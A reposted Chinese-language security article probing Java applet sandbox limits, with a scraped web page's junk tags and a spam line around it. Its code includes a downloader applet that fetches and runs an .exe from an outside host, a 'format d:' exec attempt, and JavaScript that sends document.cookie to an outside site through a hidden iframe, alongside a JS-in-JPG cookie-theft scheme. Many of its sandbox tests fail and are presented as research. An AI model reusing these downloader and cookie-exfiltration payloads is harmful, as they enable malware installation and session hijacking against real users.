1. <dd id="uw4i9"><track id="uw4i9"></track></dd>

    2. <dd id="uw4i9"><noscript id="uw4i9"></noscript></dd><dd id="uw4i9"><track id="uw4i9"></track></dd>
        <tbody id="uw4i9"></tbody>
        <dd id="uw4i9"><pre id="uw4i9"></pre></dd>
        首頁 > 學院 > 網絡技術 > 正文

        Java applet 安全性探究

        2018-10-16 21:39:35
        字體:
        來源:轉載
        供稿:網友

        作者:空虛浪子心【XGC】

          【IT168專稿】引言

          因為一個0day,讓作者對java applet心血來潮,隨著不斷的失敗,發現了一個又一個安全特性。本文提醒大家,除了activeX,還有這么一種東西,一旦出現了安全隱患,也會幫大 家做些什么。如果你要找“0DAY”,請掠過;如果你要找“如何使用APPLET下載木馬”,請看下集;如果你喜歡研究“applet可能存在的安全隱患 ”,請從這里開始。

          第一部分 一個“0day”狂想

          最近常聽見有朋友說“只有跨站執行腳本才是王道”,但是我想,每一門藝術(技術),都有自己的獨到的美(特性),就像后門除了使用“特洛伊”,還有可以用很多微小的途徑,拼合起來,就可能達到比它更加完美的效果。

          論壇上某帖發出一篇通殺FF和IE的0DAY代碼:

        Java代碼
        1. Import java.applet.Applet;            //加載applet包  
        2. 。。。。。。。。。。。。。。。。。。。。。。。省略  
        3.   
        4. public class Client extends Applet           //繼承applet  
        5. {  
        6.     public void start()                   //重寫applet的主要方法  
        7.     {  
        8.             。。。。。。。。。。。。。。。。。。。。。。。省略  
        9.             System.out.println(“aaa”);     //如果進入了這個方法,會打印“aaa”  
        10.             URL url = new URL("http://www.blackhathackerz.com/applet/Client.exe");  
        11.              //樓上代碼,定義了要從這個地址中拿文件。  
        12. bufferedoutputstream=newBufferedOutputStream(new FileOutputStream("C://windows//system32              //樓上把拿下來的文件放到system32下 
        13. //Client.exe"));  
        14.             URLConnection urlconnection = url.openConnection();     //打開SOCKET鏈接  
        15.             inputstream = urlconnection.getInputStream();            //取得文件的流  
        16.             byte abyte0[] = new byte[1024];  
        17.             int i;  
        18.             for(long l = 0L; (i = inputstream.read(abyte0)) != -1; l += i)  
        19.                 bufferedoutputstream.write(abyte0, 0, i);             //把文件寫入  
        20. 。。。。。。。。。。。。。。。。。。。。。。。省略  
        21.             Runtime runtime = Runtime.getRuntime();  
        22.             try  
        23.             {  
        24.                 Process process = runtime.exec("C://windows//system32//Client.exe");  
        25.               //樓上要去執行文件  
        26.             。。。。。。。。。。。。。。。。。。。。。。。省略  

          說實話,剛拿到代碼時很興奮,看起來只要用戶只要瀏覽applet的頁面,就可以自動執行JAVA(applet),在用戶的機器上亂寫亂畫。 這是多么美妙的事情啊,只要用戶裝了jre,就完蛋了。于是跟貼發表評論,解讀這段代碼的含義,甚至還發表了改進的看法。但是等朋友讓我寫出改進的代碼, 才在不斷的實踐中發現自己的回帖完全是紙上談兵。

          Java applet可以用來點綴html的頁面,讓它更加花哨,更加吸引MM的目光。某種程度上,它和微軟的activeX是一個級別的,都是用來擴展HTML 效果。如果搜索“java applet”,可能會搜索到《java applet向activeX下跪》這篇文章,applet曾經風光一時,后來被微軟的activeX壟斷。但是畢竟功能還在,也就是說,值得探究的安全 性因素還在。雖然必須要安裝JRE環境才可以執行,但是畢竟可以“禍害一部分人”,隨著sun的“進一步戰略”,也許這個家伙有一天還會冒出來。

          在網上找了applet安全的文章,也就那么可憐兮兮的幾篇。大概內容都是先列舉了他的寫文件代碼,然后告訴讀者這些危險動作默認是不可做的, 只有用戶同意了安全證書,才會在用戶的policy里加入“讀,寫,執行”等權限。但是你如果真的在問用戶“嘿!哥們兒,咱有個東西,你先點同意,同意我 在哥們兒臉上寫點東西,同意我看看哥們兒暗戀的MM,同意我控制哥們兒幾天,同意。。。。”。作者沒那么深的釣魚功力讓用戶簽訂不平等條約,所以,本文就 不探討當用戶簽訂安全證書后發生的安全隱患了,因為那真的等于讓用戶使用最高權限執行一段不可預知的代碼。

          要研究applet的安全,首先要打開瀏覽器(IE,FF),工具--?SUN java控制臺,右下角會出現冒火的咖啡,右鍵選擇“打開控制面板”,打開“高級”選項卡,選中“調試”里的勾。

        大小: 41.4 K尺寸: 437 x 480瀏覽: 1 次點擊打開新窗口瀏覽全圖

          選擇之后,在每次瀏覽applet頁面時,會看到控制臺上會出現每一步的程序執行信息,便于我們知道發生的異常和程序運行結果。

          回頭看看這段“0day”代碼的執行,我為什么會說“紙上談兵”呢?分析“0day”的執行順序:“新建文件--利用HTTP協議取文件--把取得的文件內容寫入新建的文件--執行該文件”。好哇!整個就是一個下載者經典流程??纯次覀儓绦泻蟮目刂婆_信息吧。

        大小: 52.51 K尺寸: 480 x 392瀏覽: 1 次點擊打開新窗口瀏覽全圖

          執行過程很明確,打印出了“aaa”,說明代碼執行進入了start方法里。Applet的執行順序為“初始化類(構造方法)--調用init 方法—調用start方法--。。。。。”,你可以認為只要代碼寫在start里,就會執行。這些都是由瀏覽器執行的,我們的找茬范圍,就是當瀏覽器執行 這些代碼的同時:有沒有忽略什么、還能做什么、在做什么的同時會不會觸發什么??催@里的信息,并沒有去那個URL地址拿EXE文件,反而到了aaa就結束 了,是因為程序里抓了異常,但是故意不做處理。修改代碼,打印異常信息到控制臺。繼續執行。

          除了上面的信息外,又打印了

        Java代碼
        1. java.security.AccessControlException: access denied (java.io.FilePermission C:/windows/system32/Client.exe write)  

          原來,在執行

        Java代碼
        1. bufferedoutputstream = new BufferedOutputStream(new FileOutputStream("C://windows//system32//Client.exe"));  

        時,發生了安全異常,不允許新建文件“C:/windows/system32/Client.exe”。好了,連這個新建文件的權限都沒有,還談 什么去執行它。很顯然,這段代碼單純的執行并不能達到“0day”的效果,可能有些觸發條件沒有被貼出來吧,它只能算是一段shellcode罷了。 “0day”夢想暫時結束。那,不能新建文件也可以,如果能把用戶個人電腦的文件偷偷發出去,也是個不錯的選擇。

          第二部分 嘗試操作文件

          所謂的危險性操作,在applet的執行環境下可能發生的有:

          讀文件

          寫文件

          執行

          跨域取東西

          跨域通知

          跨域建立socket鏈接

          調用外部引擎(JDBC等)

          調用APPLET外的JAVA代碼

          控制瀏覽器做一些不合理動作

          等等。

          發用戶機器上的文件給某人,不錯的想法,但是這里涉及兩個基本權限:讀文件,上傳文件。上一篇里,因為權限問題,寫文件的時候斷電了。試想畢竟是JAVA,一門龐大的語言,真的無懈可擊么?這次我們讀個東西試試。

          Start代碼:

        Java代碼
        1. File f = new File("c:/a.txt");  
        2. if (f.exists())System.out.println("可以讀撒");  

          控制臺打印出:

        Java代碼
        1. java.security.AccessControlException: access denied (java.io.FilePermission c:/a.txt read)  

          不能讀文件,連最基本的“判斷文件是否存在”都過不去。
          讀都不行,更別說執行了?

        Java代碼
        1. Runtime runtime = Runtime.getRuntime();  
        2. Process process = runtime.exec("format d:");  

          控制臺打印出:

        Java代碼
        1. java.security.AccessControlException: access denied (java.io.FilePermission C:/windows/system32/Client.exe execute)  

          不能執行,文件相關操作都控制的死死的。好吧,我不奢求直接用java控制文件了。記得在玩注入時,可以調用ACCESS等數據庫的引擎去寫文 件。如果可以在applet中訪問數據庫,那有意思了,一樣可以做些什么。間接訪問文件,只要沒有控制applet訪問JDBC驅動的權限,就能執行 sql。

        Java代碼
        1. Class.forName(sun.jdbc.odbc.JdbcOdbcDriver);  
        2. conn=DriverManager.getConnection("jdbc:odbc:driver={Microsoft Access Driver (*.mdb)};DBQ=C:/WINDOWS/system32/ias/dnary.mdb", strUserName, strPassword);  
        3. stmt=conn.createStatement();  

          再看看結果:

        SHELL代碼
        1. java.security.AccessControlException: access denied
        2. (java.lang.RuntimePermission accessClassInPackage.sun.jdbc.odbc)  

          又是失敗,也就是說,applet控制了訪問其他packet中的內容,只準訪問自己內定的包,外部驅動不能用。我所知道的方法基本上都測試了,或許還有,但是這個層面上,最具代表性的都試了,其他的(跨域發送socket包等等)就不拿出來一一說明了。

          第三部分 對瀏覽器的操作

          幾天前看到一篇文章,提到“鬼域”,也就是“鬼頁”。文中提到可以控制子窗口內部FRAME,IE6可以控制子窗口執行JS,但是IE7,FF不能做。那么用applet來執行的結果,和這篇文章的內容對比,可以多做些什么,而又不能實現什么呢?

          netscape.javascript.JSObject類可以在applet中調用JS,該類是個抽象類。這個類構造方法是 protected的,也就是說,不能直接new出來,只能由子類new,調用其中的靜態方法“getWindow(Applet applet)”返回它的一個實例。通常我們使用的時候,這樣的設計,就限制了必須要有個applet執行時才可以實例化這個類,也就是當瀏覽器加載 applet時才可以實例化JSObject。其中的eval方法顧名思義是執行js代碼的,applet都能做,只是在頁面上看不到JS代碼而已,當 然,在js中也可以調用applet的方法。這就有個安全隱患了,如果程序僅僅限制了<script>標簽,那么使用applet,一樣可以 達到繞過限制調用JS。當然如果直接限制了“<”,那也沒轍。

          下面是一般調用applet的html代碼:

        XML/HTML代碼
        1. <applet code="AppletTest.class" width="300" height="200">  
        2.     不支持java虛擬機  
        3. </applet>  

          只要貼在HTML頁面,就能執行applet,CLASS文件是applet小程序的代碼,如果用戶瀏覽器不支持JVM虛擬機,會打出中間的信息。

          為了探究applet的安全性,本文拿那篇“淺析瀏覽器的跨域安全問題”一文的內容(沒看過的自己去百度,如果不看該文,下面的內容會很生澀),來做個問題的模板,用applet來實現文中提到的一些技術,并對比一下和JS的安全性差異。

          首先是“偽協議”問題
          引用文章內容:

        JavaScript代碼
        1. <script>  
        2. x=window.open("about:blank");  
        3. x.location="javascript:alert(document.domain)"  
        4. </script>  
        5. 結果是:  
        6. IE6:執行了偽協議,認為彈出窗口的域是127.0.0.1。  
        7. IE7:執行了偽協議,認為彈出窗口的域是127.0.0.1。  
        8. Firefox:執行了偽協議,認為還沒有域為NULL。  

          這段代碼取得子窗體的域,如果兩個HTML文件在同一個域,就可以做很多事情,比如用“AJAX”技術把該頁面的敏感信息提交到另一個頁面,并且只有同域下的iframe才可以控制父頁面。如下面這段JS,只能在同域下的iframe中執行。

        JavaScript代碼
        1. parent.location.reload(true);             //讓父窗口重新載入  

          為了做對比,使用Applet來實現偽協議的效果:

        Java代碼
        1. this.getAppletContext().showDocument(new URL("http://192.168.0.3/"),"kxlzx");  
        2. this.getAppletContext().showDocument(new URL("javascript:alert(document.domain)"),"kxlzx");  

          這段代碼第一行會彈出新的窗口,窗口名稱為“kxlzx”(在程序中可以使用“kxlzx”訪問彈出的窗口),第二行會在“kxlzx”這個窗口中繼續顯示"javascript:alert(document.domain)"。訪問頁面 http://192.168.0.3/test.htm,IE7和FF都彈出了“192.168.0.3”。請注意,這種情況發生在“當前頁面和彈出頁面都在同一個域”下。

          父頁和子頁的關系

          引用“淺析瀏覽器的跨域安全問題”一文的代碼:

        JavaScript代碼
        1. <script>  
        2. x=window.open("about:blank");  
        3. x.location="http://www.163.com" //訪問163網站  
        4. setTimeout(function(){  
        5. x.location="http://127.0.0.1";  
        6. },5000) //5秒后重定向到127.0.0.1  
        7. </script>  

        再次使用applet實現以上效果:

        Java代碼
        1. public class writeFile extends Applet implements Runnable{  
        2.         private Thread thread = null;  
        3.         private String url;  
        4.         public void run()  
        5.         {  
        6.                 try {  
        7.                         this.getAppletContext().showDocument(new URL(url),"kxlzx");  
        8.                 } catch (MalformedURLException e) {  
        9.                 }  
        10.         }  
        11.         public void start()  
        12.         {  
        13.                 try {  
        14.                 url = "http://www.sohu.com";  
        15.                 thread = new Thread(this);  
        16.                 thread.run();  
        17.                 thread.sleep(5000);  
        18.                 url = "http://www.sina.com";  
        19.                 thread = new Thread(this);  
        20.                 thread.run();  
        21.                 } catch (Exception e) {  
        22.                 }  
        23.         }  
        24. }  

        IE和FF都執行成功,子窗口先訪問了sohu,過5秒,訪問了sina,子頁將永遠受制于父頁。

          域與域之間的牽絆

          那么不同域會出現什么情況呢?

        Java代碼
        1. this.getAppletContext().showDocument(new URL("http://192.168.0.2/"),"kxlzx");  
        2. this.getAppletContext().showDocument(new URL("javascript:alert(document.domain)"),"kxlzx");  

          這段代碼和前面第一節部分唯一的差別是,打開了http://192.168.0.3/test2.htm(父窗體)頁面后,父窗體的applet控制子窗體訪問到了另一個域“192.168.0.2”中。執行結果,IE拒絕訪問,FF卻彈出了

        大小: 29.13 K尺寸: 480 x 215瀏覽: 2 次點擊打開新窗口瀏覽全圖

          奇怪,分明是讓子窗體去訪問"javascript:alert(document.domain)",怎么會彈出父窗體的域名呢?更詭異的是,彈出框的title上居然寫著 “來自192.168.0.3的頁面說:”。猜測這個問題有兩種可能:

          1、子窗口(http://192.168.0.2/php.php)仍然認為自己屬于父窗體的域(192.168.0.3)。

          2、這個框(JS)根本就是由父窗體調出來的。

          為了證明域的問題,我寫了段JS來判斷,在子窗體的頁面中,寫段AJAX,讓他去給父窗體送點東西。如果同一個域,就能拿,如果不同域會拒絕訪問。

          幾經測試,寫出了可以通過的代碼:

        Java代碼
        1. public class writeFile extends Applet {  
        2.         public void start()  
        3.         {  
        4.                 try {  
        5.                     this.getAppletContext().showDocument(new URL("http://192.168.0.2/php.php"),"kxlzx");  
        6.                     this.getAppletContext().showDocument(new URL("javascript:xmlHttp = new XMLHttpRequest();xmlHttp.onreadystatechange = function handleStateChange(){if (xmlHttp.readyState == 4 ){if (xmlHttp.status == 200 )alert(xmlHttp.responseText);}};xmlHttp.open(/"GET/", /"http:///"+document.domain+/"/test/a.asp?context=ddd/", true); xmlHttp.send(null);"),"kxlzx");  
        7.                 } catch (Exception e) {  
        8.                 }  
        9.         }  
        10. }  

          請注意變紅的地方!代碼會先控制子窗體打開頁面,然后控制子窗體執行一段ajax代碼訪問a.asp。a.asp文件的作用是接收 context變量,然后把它的值保存在本地一個kxlzx.txt的文件里。從kxlzx.txt文件內容來看,執行成功了。也就是說,這段ajax成 功的訪問了位于192.168.0.3上的文件a.asp,并提交了參數。

          這時的我非常興奮!跨域“0day”???!別高興的太早,還有種可能就是父窗口執行了ajax。為了進一步擴大戰果和分辨父子窗體,我立刻修改 js,讓他把cookie傳過去,修改代碼中傳遞參數的值為 “a.asp?context=aa'+document.cookie+document.getElementById(‘who’)”。然后修改子 窗體訪問的php.php:

        PHP代碼
        1. <script>  
        2.         document.cookie='password:kxlzx';  
        3. </script>  
        4. <input id="who" value="php.php">  

          再修改父窗體訪問的頁面(加載applet的頁面test2.htm):

        XML/HTML代碼
        1. <script>  
        2.     document.cookie='yumen…';  
        3. </script>  
        4. <input id="who" value="test2.htm">  
        5. <applet code="writeFile.class" width="300" height="200">  
        6.     不支持java虛擬機  
        7. </applet>  

          這兩段有什么用呢?首先是cookie問題,如果單純靠兩個頁的cookie判斷,可能達不到效果,別忘了他們的域是一樣的,很可能兩個頁面cookie都是test2.htm的cookie。但是再加個input就不一樣了,input的值可不會因為域而改變。

          這樣,不同的頁面所調用ajax的結果就有所區別。測試結果很詭異,我在kxlzx.txt中只找到了test2.htm的cookie,沒有后面緊跟的input的值。兩個頁面都有input,怎么會拿不到值?打開ff的錯誤控制臺,看到了如下錯誤:

        大小: 13.54 K尺寸: 381 x 137瀏覽: 1 次點擊打開新窗口瀏覽全圖

          執行這段js的頁面根本就沒有這個input!兩種解釋:

          1、還有個頁面偷偷執行了這段ajax,然后消失的無影無蹤。

          2、這段JS在第二個頁面(子窗體)中執行,但是執行的時候子窗體還沒有訪問php.php。

          至少不可能是test2.htm執行了js,如果他執行js,一定能拿到“who”的值,input在applet之前就加載了。無論是哪種可 能,跨域 0day夢,宣告結束。父窗體不能讓子窗體執行腳本,只能讓他訪問一些頁面。好吧,你狠!不過,我們回到一個話題來:“為什么要讓子窗體執行腳本?”,很 顯然,我們想要子窗體的cookie。

          整理思路:
          1、父窗體可以控制子窗體到處訪問。

          2、父窗體不能讓子窗體執行腳本。

        JavaScript代碼
        1. <iframe id="iframe_kxlzx" width="10" height="10"></iframe>  
        2.   <script>  
        3.     document.getElementById("iframe_kxlzx").src="http://www.inbreak.net/blog/default.asp?cookies="+document.cookie;  
        4.   </script>  

          3、我們想拿子窗體的cookie。

          4、只有同一個域下,才能取cookie。

          你應該感到有趣才是,因為作者不可能把一段廢話一一列舉在這里,你能想到什么呢?公布答案!假設我們能控制父窗體的代碼,想要子窗體的cookie步驟:

          1、我們可愛的IE瀏覽器打開/Article/UploadFiles/200808/20080808105155534.jpg時,如果 jpg里面其實是js,發生什么?很好!會執行JS!步驟一的關鍵就是,往子窗口的域名下(網站),傳一個jpg文件,里面是JS代碼。Js代碼用來:獲 取cookie,然后使用AJAX 技術將cookie提交到同一個域的某個能儲存東西的地方,比如留言本。

          2、既然要獲取cookie,那瀏覽器至少要有子窗體的cookie,比如他登錄過就會有cookie。讓父窗體先打開子窗體的kxlzx.jpg,一秒,閃一秒就足夠代碼執行了,之后的事情就不用我說了。

          如果步驟一的條件有出入,沒有可以儲存東西的地方,你可以嘗試以下代碼繞過AJAX的跨域限制:

        XML/HTML代碼
        1. <iframe id="iframe_kxlzx" width="10" height="10"></iframe>  
        2.   <script>  
        3.     document.getElementById("iframe_kxlzx").src="http://www.inbreak.net/blog/default.asp?cookies="+document.cookie;  
        4.   </script>  

          以上步驟不僅僅可以應用于applet,還可以在js中實現??梢詫崿F以上步驟的代碼,本文已經寫的夠多了,請在樓上找吧。

          作者技術有限,目前研究到這里,給大家個研究方向:往applet底層實現進發,研究能繞過applet權限的函數,去年就出了一個。實踐出真 知,作者的研究思路一定不是最好的,甚至文中或許還會有錯誤,但是文中代碼都是作者通過無數次實踐,才精挑細選出了最能說明問題的部分,希望能對大家有所 幫助。

          最后發幾個小技巧
          1、跨域調用class文件。突破XSS的時候,如果不能上傳class文件(通常都不可以),就可以把class文件放在其他地方。把class文件放在其他服務器上調用,有了這個功能,更利于我們沒有限制的跨域調用class文件。

        XML/HTML代碼
        1. <applet>標簽中,如果class文件在“http://www.inbreak.net/toolss/Ghost.class”  
        2. 要這樣寫:  
        3. <applet codebase="http://www.inbreak.net/toolss/" code="Ghost.class" width="300" height="200">  

          2、調試的時候,如果編譯好了class文件,之后修改類,又重新編譯了class文件,一定要關閉瀏覽器重新打開,才能看到新的效果。因為瀏覽器有緩存,同樣會緩存class文件,如果不清空緩存或重新打開瀏覽器,就等于使用了原來的class文件。

          3、調試的時候,一定要仔細考慮到整個流程執行順序,特別是當你以為自己不小心發現“0day”的時候。

          4、最后提醒,applet只能執行在JVM環境中。
          參考文獻:
          《淺析瀏覽器的跨域安全問題》 Ph4nt0m Security Team  rayh4c
          《Java security evolution and concepts, Part 3: Applet security》 Raghavan N. Srinivas
          《Applet Security》 SUN官方
          《Java 2 Applet Security》 Abdul Habra, 2.7.2000
          《JDK幫助》

          附件說明:
          a.asp -------    接收變量,保存內容為kxlzx.txt的頁面
          Applet_ODBC.java  -------- 使用applet鏈接access數據庫的代碼
          Applet_Control_Open.java -------- 父窗體控制子窗體到處訪問的代碼
          Oday.java ----------  第一部分提到的0day
          ReadFile.java  --------  applet讀文件
          writeFile.java  ---------  applet寫文件
          Xss.java  -----  控制子窗口彈cookie
          test2.htm  ------  文中提到的加載applet頁面
          php.php  -----  沒有這個文件,因為它代碼改來改去的,文中找吧。

        文中提到的附件下載地址:

        http://www.inbreak.net/attachment.php?id=5

        發表評論 共有條評論
        用戶名: 密碼:
        驗證碼: 匿名發表
        欧洲熟妇色XXXX欧美老妇免费

        1. <dd id="uw4i9"><track id="uw4i9"></track></dd>

        2. <dd id="uw4i9"><noscript id="uw4i9"></noscript></dd><dd id="uw4i9"><track id="uw4i9"></track></dd>
            <tbody id="uw4i9"></tbody>
            <dd id="uw4i9"><pre id="uw4i9"></pre></dd>